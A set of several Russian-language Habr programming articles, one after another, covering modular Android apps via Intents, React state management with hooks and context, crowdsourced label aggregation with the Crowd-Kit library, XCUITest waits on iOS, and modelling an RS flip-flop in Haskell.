То, что я придумал, смотря на шаблон темы ADW Launcher, это посылать особые запросы модулю. То есть у модуля в параметр name будет иметь значение типа my.app.GET\_DATA, а приложение будет с помощью startActivity (startActivityForResult) и startIntentSender (startIntentSenderForResult) посылать запросы. Хочу напомнить, что у одной Activity может быть несколько тегов .
#### Практика
Начнём с программирования самого приложения. Основа приложение не сильно сложнее Hello World, поэтому я только расскажу, как работать с модулями.
Самый простой вариант предпросмотра:
```
// "mod.ul.ed.MODULES" - action у одного из intent-filter'а
Intent call = new Intent("mod.ul.ed.MODULES");
startActivity(call);
```
После вызова startActivity Android спросит у пользователя, какой модуль открыть и после выбора (можно назначить модуль по умолчанию) откроет.
Для открытия какого-то определённого модуля (и его определённой Activity) можно воспользоваться таким кодом:
```
Intent call = new Intent("mod.ul.ed.MODULES");
// mod.ule.first - первый модуль
// mod.ule.first.ActivityMain - главная Activity первого модуля
call.setClassName("mod.ule.first", "mod.ule.first.MainActivity");
startActivity(call);
```
Модулю также можно передавать параметры, про это смотрите в описании класса [Intent](http://developer.android.com/reference/android/content/Intent.html).
Чтобы получить данные от модуля лучше воспользоваться startIntentSenderForResult:
```
Intent call = new Intent("mod.ul.ed.GET_TEXT");
// Если убрать следующую строчку, то поведение будет как у первого варианта предпросмотра
call.setClassName("mod.ule.first", "mod.ule.first.MainActivity");
IntentSender sender = PendingIntent.getActivity(getApplicationContext(), 1, call, 0).getIntentSender();
try {
startIntentSenderForResult(sender, 1, call, 0, 0, 0);
} catch (SendIntentException e) { }
```
Если пользоваться startActivityForResult, то пользователь сможет увидеть мелькание другого окна (Activity).
Ещё может понадобиться получить список модулей. Это реализует с помощью [PackageManager.queryIntentActivities(Intent intent, int flags)](http://developer.android.com/reference/android/content/pm/PackageManager.html#queryIntentActivities(android.content.Intent, int)):
```
// Будем искать Activity, которые принимают action = "mod.ul.ed.MODULES"
Intent intent = new Intent("mod.ul.ed.MODULES");
// Получаем список подходящих Activity
List list = getPackageManager().queryIntentActivities(intent, 0);
```
Приступим к созданию модуля. Сначала в AndroidManifest.xml для нужных Activity добавим нужные действия, например действие GET\_TEXT:
```
```
Что-либо возвращать нужно после проверки действия, сделать это можно так:
```
// Проверяем action
if(getIntent().getAction().equals("mod.ul.ed.GET_TEXT")) {
// Возвращаем результат
Intent data = new Intent();
data.putExtra("text", "This is first module");
setResult(RESULT_OK, data); // Устанавливаем результат
finish(); // Завершаем Activity
return; // Завершаем исполнение кода
}
```
**[UPD]** Для создания тем лучше получать ресурсы темы через [getPackageManager().getResourcesForApplication(...)](http://developer.android.com/reference/android/content/pm/PackageManager.html#getResourcesForApplication(java.lang.String)) и использовать их.
#### Итог
Вот так несложно можно сделать модульное приложение. Для тех, кто не увидел ссылку в начале: код приложения и 2-х модулей можно посмотреть на [googlecode](http://code.google.com/p/wnezros-samples/source/browse/#svn/trunk/moduled). Как я писал в начале, это возможно костыль. Если кто-то знает более элегантное и правильное решение просьба о нем рассказать. | https://habr.com/ru/post/123306/ | null | ru | null |
# Как управлять состоянием React приложения без сторонних библиотек
*Реакт это все что вам нужно для управления состоянием вашего приложения.*
Управление состоянием это одна из сложнейших задач при разработки приложения. Вот почему каждый день появляются все новые и новые библиотеки для управления состоянием, их становится все больше и больше, причем многие из них разрабатываются поверх уже существующих решений. В npm вы можете найти сотни "упрощенных Redux" библиотек. Однако, несмотря на то что управлять состоянием сложно, одной из причин того почему так получилось стало именно то что мы слишком переусложняем решение проблемы.
Существует метод управления состоянием который лично я пытаюсь применять еще с тех пор как я начал использовать Реакт. И теперь, после релиза хуков (hooks) и улучшения контекстов (context), этот метод управления состояниями стало очень просто использовать.
О компонентах Реакта часто говорят как о детальках Лего конструктора, из которых мы собираем наши приложения. Но эту аналогию можно применить не только к компонентам, но и к состоянию приложения. "Секрет" моего подхода к управлению состоянием в том что состояние приложения должно соответствовать структуре самого приложения.
Причиной популярности Редакса (redux), помимо прочего, стало то что react-redux решал проблему проп дриллинга ([prop drilling](https://kentcdodds.com/blog/prop-drilling)). Редакс позволил обмениваться данными между различными частями дерева компонентов, просто передавая компонент в магическую функцию `connect`. Другие возможности Редакса — редюсеры, экшены и прочее, конечно хороши, но я уверен что повсеместное использование Редакса связано именно с тем, что он позволил избавиться от проп дриллинга.
*Проп дриллинг это такой анти-паттерн при котором передача пропсов происходит через промежуточные компоненты которые не используют получаемые пропсы, а только передают их в следующие компоненты*.
Но применение Редакса может привести к различным проблемам. Я часто вижу как разработчики переносят *все* состояния приложения в Редакс. Не только глобальное состояние, но и локальные. Это приводит к тому что когда вы создаете любое взаимодействие с состоянием, оно запускает взаимодействие с редюсерами, генераторами/типами экшенов и вызовами dispatch (dispatch calls). Из-за этого, просто чтобы понять как и какие стейты оказывают влияние на приложение, вам нужно открывать кучу файлов и отслеживать весь написанный там код.
Не поймите меня неправильно, это хороший подход для состояний которые действительно должны быть глобальными, но для простых состояний (таких как, например, открыто ли модальное окно или состояние строки ввода у формы) это большая проблема. Что делает ситуацию еще хуже, так это то что такой подход плохо масштабируется. Чем больше становится ваше приложение, тем хуже становится эта проблема. Конечно, вы можете подключать различные редюсеры для управления теми или иными частями приложения, но косвенная обработка всех этих генераторов экшенов и редюсеров не является оптимальной.
Держать все состояние вашего приложения в одном объекте не лучшая идея и может привести к другим проблемам (в том числе если вы не используете для этого Редакс). Когда Реакт получает новое значение, все компоненты, которые используют это значение, обновляются и запускают рендер, даже если это функциональный компонент который отвечает только за какую-то часть данных. Это может привести к проблемам с производительностью. Что я хочу сказать — у вас не будет подобных проблем если ваше состояние разделено и находится в дереве компонентов Реакта таким образом чтобы быть как можно ближе к тем местам к которым это состояние и относиться.
---
Тут вот какое дело — если вы создаете приложение при помощи React, у вас уже установлен пакет для управления состоянием. Чтобы использовать его, вам не нужно применять `npm install` или `yarn add`. Этот пакет не добавляет лишних байтов в ваше приложение, он уже интегрирован со всеми библиотеками для Реакта, и он уже хорошо документирован командой Реакта. Это сам Реакт.
> Реакт это библиотека для управления состоянием
Когда вы создаете приложение при помощи Реакта, вы собираете множество компонентов, чтобы создать дерево компонентов. Вы начинаете с вашего и заканчиваете низкоуровневыми , и . Вы не управляете всеми низкоуровневыми составными компонентами, которые ваше приложение рендерит, из какого-то централизованного места. Вместо этого вы позволяете каждому отдельному компоненту управлять им. Как оказалось, это действительно простой и эффективный способ создания UI.
Такой же подход можно применить и к состоянию:
```
function Counter() {
const [count, setCount] = React.useState(0)
const increment = () => setCount(c => c + 1)
return {count}
}
function App() {
return
}
```
[](https://codesandbox.io/s/4qzj73lozx?fontsize=14&hidenavigation=1&module=%2Fsrc%2F01-simple-count.js&moduleview=1)
Имейте в виду что все, о чем здесь идет речь, работает и с классами. Хуки просто упрощают работу (особенно работу с контекстом, вскоре мы рассмотрим и такой вариант).
```
class Counter extends React.Component {
state = {count: 0}
increment = () => this.setState(({count}) => ({count: count + 1}))
render() {
return {this.state.count}
}
}
```
"Окей, это конечно легко — управлять одним элементом состояния в одном компоненте, но что если мне нужно разделить это состояние между компонентами? Например, что, если я хочу сделать это:
```
function CountDisplay() {
// откуда нам брать значение для `count`?
return The current counter count is {count}
}
function App() {
return (
)
}
```
"Управление состоянием для подсчета значения происходит внутри , выходит, теперь мне нужна библиотека управления состоянием, чтобы получить доступ к значению `count` для и для его обновлений в !"
Ответ этот вопрос настолько же стар, настолько стар и сам Реакт (или старше?), и был в документации столько, сколько я себя помню: [Подъём состояния](https://ru.reactjs.org/docs/lifting-state-up.html)
**Подъём состояния** (Lifting State Up) это надежный и рекомендуемый способ управления состоянием в Реакте. Вот каким образом можно применять его:
```
function Counter({count, onIncrementClick}) {
return {count}
}
function CountDisplay({count}) {
return The current counter count is {count}
}
function App() {
const [count, setCount] = React.useState(0)
const increment = () => setCount(c => c + 1)
return (
)
}
```
[](https://codesandbox.io/s/4qzj73lozx?fontsize=14&hidenavigation=1&module=%2Fsrc%2F02-lift-state.js&moduleview=1)
Теперь за управление состоянием отвечает другой компонент. При необходимости вы всегда можете поднять управление состоянием в вышестоящий компонент, вплоть до самого верхнего компонента.
"Да, конечно, но что на счет проблемы проп дриллинга ([prop drilling](https://kentcdodds.com/blog/prop-drilling))?"
На самом деле это проблема у которой уже довольно давно есть решение — контексты (`context`). На протяжении долгого времени люди применяли `react-redux` из-за предупреждений в документации Реакта об использовании контекстов. Но сейчас контексты это официально поддерживаемая часть React API, и мы можем использовать их напрямую:
```
// src/count/count-context.js
import React from 'react'
const CountContext = React.createContext()
function useCount() {
const context = React.useContext(CountContext)
if (!context) {
throw new Error(`useCount must be used within a CountProvider`)
}
return context
}
function CountProvider(props) {
const [count, setCount] = React.useState(0)
const value = React.useMemo(() => [count, setCount], [count])
return
}
export {CountProvider, useCount}
// src/count/page.js
import React from 'react'
import {CountProvider, useCount} from './count-context'
function Counter() {
const [count, setCount] = useCount()
const increment = () => setCount(c => c + 1)
return {count}
}
function CountDisplay() {
const [count] = useCount()
return The current counter count is {count}
}
function CountPage() {
return (
)
}
```
[](https://codesandbox.io/s/4qzj73lozx?fontsize=14&hidenavigation=1&module=%2Fsrc%2F03-context.js&moduleview=1)
> ПРИМЕЧАНИЕ. Этот код является просто примером, и я НЕ рекомендую использовать контекст для решения конкретно этой проблемы. В данном случае более простым решением стало бы просто передача состояний через пропсы (подробнее здесь: [Prop Drilling](https://kentcdodds.com/blog/prop-drilling)). Не нужно применять контексты там где можно обойтись более простыми методами.
Одна из крутейших особенностей этого решения заключается в том что мы можем абстрагировать всю логику которую часто применяем для обновления состояния в наш `useContext` хук:
```
function useCount() {
const context = React.useContext(CountContext)
if (!context) {
throw new Error(`useCount must be used within a CountProvider`)
}
const [count, setCount] = context
const increment = () => setCount(c => c + 1)
return {
count,
setCount,
increment,
}
}
```
[](https://codesandbox.io/s/4qzj73lozx?fontsize=14&hidenavigation=1&module=%2Fsrc%2F04-context-with-logic.js&moduleview=1)
При желании можно поменять `useState` на `useReducer`:
```
function countReducer(state, action) {
switch (action.type) {
case 'INCREMENT': {
return {count: state.count + 1}
}
default: {
throw new Error(`Unsupported action type: ${action.type}`)
}
}
}
function CountProvider(props) {
const [state, dispatch] = React.useReducer(countReducer, {count: 0})
const value = React.useMemo(() => [state, dispatch], [state])
return
}
function useCount() {
const context = React.useContext(CountContext)
if (!context) {
throw new Error(`useCount must be used within a CountProvider`)
}
const [state, dispatch] = context
const increment = () => dispatch({type: 'INCREMENT'})
return {
state,
dispatch,
increment,
}
}
```
[](https://codesandbox.io/s/4qzj73lozx?fontsize=14&hidenavigation=1&module=%2Fsrc%2F05-context-with-reducer.js&moduleview=1)
Это дает нам гибкость и уменьшает сложность кода. Вот о чем следует помнить когда вы так делаете:
1. Не нужно держать все в одном объекте состояния. Разделяйте логику состояния, используйте разные контексты для разных ситуаций, например, пользовательские настройки не обязательно должны находиться в контексте в котором уже находятся уведомления.
2. Не нужно делать все контексты глобальными! **Держите состояние как можно ближе к месту к которому оно относится.**
Подробнее о втором пункте. Структура вашего приложения может выглядеть примерно так:
```
function App() {
return (
)
}
function Notifications() {
return (
)
}
function UserPage({username}) {
return (
)
}
function UserSettings() {
// это специальный кастомный хук для AuthenticationProvider
const {user} = useAuthenticatedUser()
}
```
Обратите внимание что у каждой страницы может быть свой собственный провайдер (provider) контекста, который передает данные необходимые компоненту находящемуся под ним. При таком подходе разделение кода (Code-Splitting) работает само по себе. То, как вы *передаете* данные в каждый провайдер, зависит от того как эти провайдеры используют хуки, и от того каким образом вы извлекаете данные в своем приложении. В любом случае чтобы понять как работает ваш контекст, в первую очередь вам нужно посмотреть в код компонента-провайдера.
Если хотите узнать больше о том что такое "совместное размещение", читайте статью [Как сделать React приложение быстрее при помощи совместного размещения состояний](https://habr.com/ru/post/485032) и [Colocation](https://kentcdodds.com/blog/colocation). А если интересно почитать больше о работе с контекстами, читайте статью [Как эффективно применять React Context](https://habr.com/ru/post/522896)
Кэш Сервера против Состояние Интерфейса
---------------------------------------
Существуют различные виды состояний приложения, но каждый тип состояния можно отнести к одной из этих категорий:
1. Кэш Сервера (Server Cache) — состояние которое размещено на сервере для быстрого доступа к нему на клиенте (к примеру — данные пользователя).
2. Состояние Интерфейса (UI State) — состояние в котором есть смысл только в интерфейсе пользователя, оно нужно для управления интерактивными частями приложения (к примеру, открытие модального окна — modal `isOpen`)
Мы совершаем ошибку когда относимся к этим двум одинаково. Кэш сервера сильно отличается от состояния UI, и к нему нужен иной подход. Если вы поняли что ваше состояние это вовсе не состояние, а кэш состояния, то вы начинаете лучше понимать ваше состояние и то как нужно им управлять.
Вы определенно можете управлять им при помощи ваших собственных `useState` или `useReducer`, с правильными `useContext` там и тут. Но, имейте в виду, кэширование это очень сложная проблема (некоторые говорят что это одна из сложнейших проблем в информатике), так что, касательно этого вопроса, будет разумно "встать на плечи гигантов".
Я сам использую, и всячески рекомендую библиотеку [react-query](https://github.com/tannerlinsley/react-query) для подобных состояний. Знаю, знаю, я сам сказал что вам не нужны библиотеки для управления состоянием, но, я не считаю что react-query это библиотека для управления состоянием. Я считаю что это библиотека для управления кэшем. И она офигенно хороша. Попробуйте ее. Этот парень — [Tanner Linsley](https://twitter.com/tannerlinsley) весьма умен.
Заключение
----------
Как я уже говорил, все это вы можете реализовать применяя классовые компоненты (вам не обязательно использовать хуки). Хуки просто делают все намного проще, но вы можете реализовать эту философию и в React 15. Опускайте состояние как можно ниже по иерархии компонентов, и используйте контекст только тогда когда проп дриллинг реально станет проблемой. Все эти действия помогут вам упростить работу с состоянием вашего приложения. | https://habr.com/ru/post/507572/ | null | ru | null |
# Агрегация ответов в краудсорсинге. Пример с открытой библиотекой Яндекса
Краудсорсинг позволяет размечать данные для разных задач, но популярнее всего, конечно, задачи классификации объектов — текстов и картинок. Обычно в краудсорсинге несколько человек размечают каждый объект, что требует агрегации — выбора верного ответа из представленных. Под катом я покажу, как агрегировать результат разметки с помощью двух алгоритмов: голоса большинства и алгоритма Дэвида-Скина.
Я буду использовать [Crowd-Kit](https://pypi.org/project/crowd-kit/) — нашу открытую библиотеку вычислительных методов контроля качества в краудсорсинге, которая предлагает реализации разных методов агрегации ответов, оценки неопределённости и согласованности ответов и т. д. Но вы можете воспользоваться альтернативами: [spark-crowd](https://github.com/enriquegrodrigo/spark-crowd) (использует Scala вместо Python), [CEKA](http://ceka.sourceforge.net) (Java вместо Python) или [Truth Inference](https://github.com/zhydhkcws/crowd_truth_infer) (использует Python, но предоставляет только категориальные и числовые ответы).
**Что ещё есть в Crowd-Kit**
Библиотека предлагает хорошо знакомые программистам структуры данных и API: она интегрируется с популярными библиотеками для анализа данных на Python, такими как NumPy, SciPy и pandas. Кроме того, она не зависит от конкретной краудсорсинговой платформы. Нужно только предоставить данные в виде таблицы исполнителей, задач и ответов, а Crowd-Kit выдаст качественные результаты независимо от того, на какой платформе эти данные получены.
Писать код буду в Google Colab, но любая другая среда для Python тоже подойдёт. Сначала нужно установить библиотеку Crowd-Kit из PyPI. Кроме того, мне понадобятся размеченные данные — буду использовать [открытые данные Толоки](https://habr.com/ru/company/yandex/blog/458326/) о релевантности поисковых ответов с двумя категориями: релевантные и нерелевантные. Загрузчиком данных будет сам Crowd-Kit, чтобы скачать их в виде таблиц pandas. Опять же, вы можете использовать другой источник данных и собрать таблицы самостоятельно.
```
!pip install crowd-kit
```
```
from crowdkit.datasets import load_dataset
```
```
df, df_gt = load_dataset('relevance-2')
```
Итак, данные загружены — прежде чем двинуться дальше, давайте взглянем на них.
| | | | |
| --- | --- | --- | --- |
| | **perfomer** | **task** | **label** |
| **0** | w851 | t30685 | 1 |
| **1** | w6991 | t30008 | 0 |
| **2** | w2596 | t36316 | 0 |
| **3** | w5507 | t15145 | 1 |
| **4** | w2982 | t44785 | 1 |
| **...** | ... | ... | ... |
| **475531** | w4660 | t62250 | 1 |
| **475532** | w6630 | t46626 | 0 |
| **475533** | w4605 | t93513 | 1 |
| **475534** | w1928 | t29002 | 0 |
| **475535** | w5375 | t49052 | 1 |
*475536 rows x 3 columns*
```
df_gt
```
```
task
t30006 0
t33578 0
t22462 1
t52093 0
t26935 0
..
t57345 1
t81052 1
t7189 1
t80463 0
t93643 0
Name: label, Length: 10079, dtype: int64
```
Функция load\_dataset возвращает пару элементов. Первый элемент — это таблица pandas с данными, полученными из краудсорсинга. Второй элемент (если он имеется) — это данные с верными ответами (ground truth). Таблица `df` содержит три столбца: исполнитель, задача и метка. Метка имеет значение `0`, если исполнитель оценил документ как нерелевантный, в противном случае `1`. Таблица `df_gt` — это последовательность pandas, которая содержит правильные ответы на задачи, помещенные в индекс.
Импортируем три класса агрегации: мнение большинства, Wawa и Дэвид-Скин. Давайте попробуем агрегировать с помощью мнения большинства — простого эвристического метода.
```
from crowdkit.aggregation import MajorityVote, Wawa, DawidSkene
```
Создадим экземпляр класса с реализацией мнения большинства и вызовем метод `fit_predict`, чтобы агрегировать наши данные.
```
agg_mv = MajorityVote().fit_predict(df)
agg_mv
```
```
task
t0 1
t1 1
t10 1
t100 0
t1000 0
..
t9995 1
t9996 0
t9997 0
t9998 0
t9999 1
Length: 99319, dtype: int64
```
Эта простая эвристика работает очень хорошо, особенно на небольших наборах данных, поэтому применить её — хорошая идея. Обратите внимание, что если две или более метки получили одинаковое количество голосов, то нужно выбрать из них случайную, чтобы избежать смещения в сторону первой встречающейся метки.
Классический метод агрегации с помощью мнения большинства не учитывает навыки исполнителей. Но иногда полезно взвесить вклад каждого исполнителя в конечную метку с учётом их согласованности с агрегированным значением. Этот подход называется Wawa, и он тоже представлен в Crowd-Kit. Он вычисляет мнение большинства, а затем повторно взвешивает голоса исполнителей, используя долю ответов, совпавших с мнением большинства.
```
agg_wawa = Wawa().fit_predict(df)
agg_wawa
```
```
task
t0 1
t1 1
t10 1
t100 0
t1000 0
..
t9995 1
t9996 0
t9997 0
t9998 0
t9999 1
Length: 99319, dtype: int64
```
Теперь мы выполняем ту же операцию с помощью вероятностной модели Дэвида-Скина, реализованной в Crowd-Kit при помощи EM-алгоритма. Это еще один классический подход к агрегированию в краудсорсинге, который был первоначально разработан в 70-х для вероятностного моделирования медицинских обследований. Код практически тот же: мы создаём экземпляр, задаём количество итераций алгоритма, вызываем `fit_predict` и получаем агрегированные результаты.
```
agg_ds = DawidSkene(n_iter=10).fit_predict(df)
agg_ds
```
```
task
t30685 1
t30008 0
t36316 0
t15145 1
t44785 0
..
t95222 0
t83525 0
t49227 0
t96106 1
t16185 1
Length: 99319, dtype: int64
```
Давайте оценим качество агрегированных данных. Для этого мы используем хорошо известную F1-меру из библиотеки scikit-learn.
```
from sklearn.metrics import f1_score
```
В этом наборе данных верные ответы доступны только для подмножества заданий, поэтому оценивать будем только по ним. Это позволяет нам выбрать лучшую модель агрегации с использованием хорошо известных и надёжных инструментов, таких как pandas, scikit-learn и Crowd-Kit.
```
f1_score(df_gt, agg_mv[df_gt.index])
```
```
0.7621861152141802
```
```
f1_score(df_gt, agg_wawa[df_gt.index])
```
```
0.7610675039246467
```
```
f1_score(df_gt, agg_ds[df_gt.index])
```
```
0.7883762200532387
```
В нашем эксперименте лучшее качество было достигнуто с помощью модели Дэвида-Скина. Выбрав модель, мы хотим экспортировать все агрегированные данные, что имеет смысл в боевых приложениях.
Теперь с помощью pandas сохраним результаты агрегации в файл TSV, предварительно преобразовав последовательность в таблицу, чтобы указать названия столбцов.
```
agg_ds.to_frame('label').to_csv('test.txt')
```
Давайте заглянем внутрь. Данные и ответы на месте, результаты агрегации тоже.
Мы получили [агрегированные данные](https://github.com/Toloka/crowd-kit/blob/main/examples/TlkAgg-Categorical.ipynb), написав всего несколько строк кода. | https://habr.com/ru/post/594057/ | null | ru | null |
# Погружение в автотестирование на iOS. Часть 4. Ожидания в XCUITest
Привет, Хабр!
В UI тестах не все события происходят синхронно друг за другом. Сетевые запросы, анимации, чтение файлов – все это требует времени. Встает вопрос – как заставить тест ждать наступления определенного события?
В этой статье мы разберем:
* Что такое ожидание и для чего они используются в тестах;
* Рассмотрим какие бывают ожидания;
* Разберем из чего состоят ожидания;
* Рассмотрим пример эффективных ожиданий в тестах.
Что такое ожидание и для чего они используются в тестах
-------------------------------------------------------
Ожидания — это методы, которые ждут выполнения определенного условия или истечения определенного времени. Так как элементы на экране появляются не всегда моментально, нам необходимо использовать задержки иначе код отвечающий за действия не будет работать, потому что элемента ещё нет на экране.
Ожидания бывают двух типов:
1. Явные ожидания;
2. Неявные ожидания.
Разберем подробно каждый тип.
### Явные ожидания
Явные ожидания — это код, который ждет наступления какого-то события, прежде чем продолжит выполнение команды скрипта. Такое ожидание срабатывает один раз в указанном месте.
Пример:
```
// Ждем 5 секунд
Thread.sleep(forTimeInterval: 5)
```
Сразу скажу, что использование явных ожиданий — это моветон в автоматизации. Использование явных задержек не гарантирует наступление нужного события. Или будет слишком избыточным и увеличит время выполнения теста.
### Неявные ожидания
Неявные ожидания — это код, который делает многократные попытки найти элемент на экране в течение заданного периода времени, если элемент не найден сразу.
Пример:
```
// Ждём в течении 5 секунд что кнопка есть на экране. Если кнопка отобразится на 2 секунде, ожидание выполнится и мы пойдем дальше
let element = XCUIApplication().buttons["testButton"]
let existsPredicate = NSPredicate(format: "exists == true")
let expectation = XCTNSPredicateExpectation(predicate: existsPredicate,
object: element)
wait(for: [expectation], timeout: 5)
```
Условия выполнения ожидания
---------------------------
Прежде чем написать ожидание, мы должны создать условия выполнения этого ожидания. В этом нам помогут следующие классы:
* XCTNSPredicateExpectation — ожидание, которое проходит, когда выполняется NSPredicate, самый гибкий вариант. [Статья с хорошим объяснением, как использовать NSPredicate](https://www.hackingwithswift.com/read/38/7/examples-of-using-nspredicate-to-filter-nsfetchrequest)
```
let element = XCUIApplication().buttons["testButton"]
let existsPredicate = NSPredicate(format: "exists == true")
// В этом условии выполнения ожидания мы ждем, что кнопка, иницилизированная выше, существует
let expectation = XCTNSPredicateExpectation(predicate: existsPredicate,
object: element)
```
* XCTKVOExpectation — ожидание, которое проходит, когда выполняется условие наблюдения за ключевыми значениями(KVO);
```
let element = XCUIApplication().buttons["testButton"]
// В этом условии выполнения ожидания мы ждем, что кнопка, иницилизированная выше, существует
let expectation = XCTKVOExpectation(keyPath: "exists",
object: element,
expectedValue: true)
```
XCTNSNotificationExpectation — ожидание, которое проходит при получении уведомления от NSNotificationCenter;
```
let element = XCUIApplication().buttons["testButton"]
// В этом условии выполнения ожидания мы ждем когда NSNotification отправится из центра уведомлений
let expectation = XCTNSNotificationExpectation(name: NSNotification.Name(rawValue: "exist"), object: element)
```
XCTDarwinNotificationExpectation — ожидание, которое выполняется при получении ожидаемого уведомления Darwin;
```
let expectation = XCTDarwinNotificationExpectation(notificationName: "DarwinNotificationName")
```
Ожидания в XCTest
-----------------
Написать эффективные ожидания мы можем несколькими способами. Покажу два самых распространенных и эффективных способа:
### XCTestCase Wait
Для использования этого ожидания, вам потребуется наследовать ваш класс с тестами от класса XCTestCase. У этого класса уже есть метод wait(), который можно использовать в своих тестах.
```
func wait(for expectations: [XCTestExpectation], timeout seconds: TimeInterval)
```
Метод принимает массив с условиями выполнения ожидания и синхронно ожидает каждое из них в заданном порядке в течение заданного количества времени.
Пример:
```
let element = XCUIApplication().buttons["testButton"]
let existsPredicate = NSPredicate(format: "exists == true")
let expectation = XCTNSPredicateExpectation(predicate: existsPredicate,
object: element)
wait(for: [expectation], timeout: 3)
XCTAssert(element.exists)
```
### XCTWaiter
```
_ = XCTWaiter.wait(for: [expectation1, expectation2],
timeout: TimeInterval(timeoutValue))
```
На первый взгляд можно сказать, что этот метод работает также, как и в примере выше. Но в них есть небольшое различие: данный метод возвращает перечисление XCTWaiter.Result. XCTWaiter.Result — это состояния, при которых прекратилось ожидание, разберем их:
* completed — ожидания были успешно выполнены;
* timedOut — истекло время до выполнения ожиданий;
* incorrectOrder — ожидания оправдались в порядке отличном от заданого;
* invertedFulfillment — ожидания выполнились в обратном порядке;
* interrupted — выполнение ожидания было прервано до выполнения условий или до того как истекло заданное время.
Благодаря этому можно более гибко подходить к анализу отчетов после прогона тестов и добавлять необходимы логи, которые помогут в локализации сбоя работы автотестов.
Ожидание реализованное с XCTWaiter:
```
func waitForExpectation(expectation:[XCTestExpectation],
time: TimeInterval) {
let result: XCTWaiter.Result = XCTWaiter().wait(for: [expectation],
timeout: time)
switch result {
case .timedOut:
XCTFail("Condition was not satisfied during \(time) seconds")
case .interrupted:
XCTFail("The waiter was interrupted prior to its expectations being fulfilled or timing out")
case .incorrectOrder:
XCTFail("The waiter’s expectations were not fulfilled in the required order")
case .invertedFulfillment:
XCTFail("An inverted expectation was fulfilled")
default:
break
}
}
```
Самое важное:
-------------
* Есть два вида ожиданий: явные и неявные;
* Используйте неявные ожидания, и тогда ваши тесты будут работать стабильно и быстро;
* Используйте в качестве условия выполнения ожидания XCTNSPredicateExpectation. Это самый гибкий вариант из представленных;
* Используйте XCTWaiter, так как он даёт больше информации при локализации ошибки.
Это последняя статья в цикле статей, но на этом мы не перестаем делиться с вами опытом автоматизации. Напишите в комментариях, на какую тему по iOS автоматизации вам было бы интересно почитать статью.
Навигация по статьям:
---------------------
* [Погружение в автотестирование на iOS. Часть 1. Как работать с accessibilityidentifier объектов](https://habr.com/ru/company/vivid_money/blog/533180/)
* [Погружение в автотестирование на iOS. Часть 2. Как взаимодействовать с ui-элементами iOS приложения в тестах](https://habr.com/ru/company/vivid_money/blog/538708/)
* [Погружение в автотестирование на iOS. Часть 3. Жизненый цикл iOS приложения во время прогона тестов](https://habr.com/ru/company/vivid_money/blog/544254/)
---
Интересуешься автоматизацией на iOS? Подписывайся на мой [телеграмм-канал](https://t.me/ios_automation_testing), в котором я публикую материалы, которые будут полезны как начинающим, так и опытным iOS-автоматизаторам. | https://habr.com/ru/post/547422/ | null | ru | null |
# Функциональные языки в разработке аппаратуры
Функциональные языки, как правило, не слишком подходят для низкоуровнеого программирования, хотя и применяются для кодогенерации.
**Примеры проектов**генерация безопасного кода на C (используется в лаборатории Касперского) [Ivory](http://ivorylang.org), поддержка [реактивного программирования на Arduino](https://github.com/frp-arduino/frp-arduino), и так далее [Atom](https://github.com/tomahawkins/atom), [Ion](https://haskellembedded.github.io/)
Но если спуститься еще ниже, на уровень аппаратуры, то неожиданно ФП оказывается очень кстати. Ведь блок комбитаторной логики не что иное, как функция из величин входящих сигналов в величины исходящих, а для последовательной логики достаточно добавить в параметры и результат старое и новое состояние.
Когда я только изучил Haskell, я присоединился к одной бурной дискуссии «на чем лучше моделировать RS-триггер». Я сразу заметил, что свежеизученный мной язык решает все всплывающие в этой дискуссии проблемы.
Моделирование предполагает наблюдение за эволюцией состояния модели во времени, но в Haskell как такового изменяемого состояния нет. За то есть ленивые списки, которые превращаются в «горизонтальное время».
**Какое время?**Этот смешной термин был придуман одним из участников, которого очень удивило, что мне удобнее вывести в строчку всю эволюцию одного сигнала, а следующей строкой — всю эволюцию другого сигнала (правда на больших моделях такой формат приведет к серьезному перерасходу памяти и лучше приложить усилия печатать результат как в обычных языках — вывод данных самое сложное в Haskell). В прочем такой формат ему даже понравился, так как это больше похоже на сигналы на осциллографе, по сравнению с печатью значений всех сигналов в одной строке для каждого такта.
Простой способ моделировать сигналы — представить их списками значений в каждый момент времени. Если один сигнал равен другому со смещением на один квант во времени, мы просто добавляем в начала списка 0:
```
delay s = 0:s
```
**Или так**
```
delay = 0:
```
Можно создать свой тип для сигналов — это эффективнее, безопаснее и правильнее, но для простоты мы пока ограничимся использованием простых списков.
```
data Signal v = S v (Signal v)
delay v s = S v s
```
Если требуется точное моделирование времени работы, то сигнал можно представить списком пар (интервал времени, значение сигнала) и предусмотреть представление неустановившихся значений.
RS-триггер представляет из себя два NOR-узла, соединенные взаимно-рекурсивно. У этой системы есть два стабильных состояния, в которых на выходе одного NOR единица, а другого — ноль. Подавая единицу на второй вход одного из NOR-узлов можно переключать состояния.
Вообще говоря RS-триггер — асинхронная схема. Но для простоты примера мы будем моделировать ее как синхронную, что не совсем верно (даже выбрав короткий размер «такта» сложно смоделировать переходные процессы, лучше воспользоваться другим представлением сигнала).
```
nor '_' '_' = '~'
nor _ _ = '_'
rs r s = (q, nq)
where
q = '_' : zipWith nor r nq
nq = '_' : zipWith nor q s
main = let
r = "~_______"
s = "___~~___"
(q,nq) = rs r s
in do
print r
print s
print q
print nq
```
**Краткий справочник по Haskell**Имена переменных (точнее констант, так как они в пределе области видимости не могут меняться) и функций начинается с маленькой буквы и состоит из алфовитно-цифровых символов или состоит из спецсимволов и не начинается с ':'.
С большой буквы (или с ':') начинаются имена типов, конструкторов (можно считать, что это имена констант в перечислениях) и имена модулей.
(:) — конструктор списка. Создает новый список, добавляя к старому в начало один элемент.
```
0 : [1,2,3,4,5]
```
эквивалентно [0,1,2,3,4,5]
Строки в Haskell представляются как список символов. «1234» означает то же самое, что и ['1','2','3','4']
zip — превращает два списка в список пар.
```
zip [1,2,3,4] "1234"
```
буден равно
```
[(1,'1'),(2,'2'),(3,'3'),(4,'4')]
```
zipWith применяет функцию к элементам из двух списков
```
zipWith (+) [1,2,3,4] [1,3,5,7]
```
вычислит поэлементную сумму списков [2,5,8,11]
zip выражается через zipWith
```
zip = zipWith (,)
```
zip3 и zipWith3 работают аналогично, но для трех списков.
scanl применяет функцию к каждому элементу списка «с накоплением». Его тип (сигнатура) описывается так:
```
scanl :: (b -> a -> b) -> b -> [a] -> [b]
```
Первый аргумент scanl — функция от двух аргументов, второй — начальное значение аккумулятора, третий — входной список.
```
scanl (+) 0 [1,2,3,4]
```
вычислит список частичных сумм: [0,1,3,6,10]
($) — постфиксная запись применения функции к аргументу.
```
f $ x = f x
```
Часто применяется что бы писать меньше скобок:
f x $ g y эквивалентно f x (g y)
Запись \x y -> f y x означает анонимную функцию (еще называемую замыканием) с параметрами x и y.
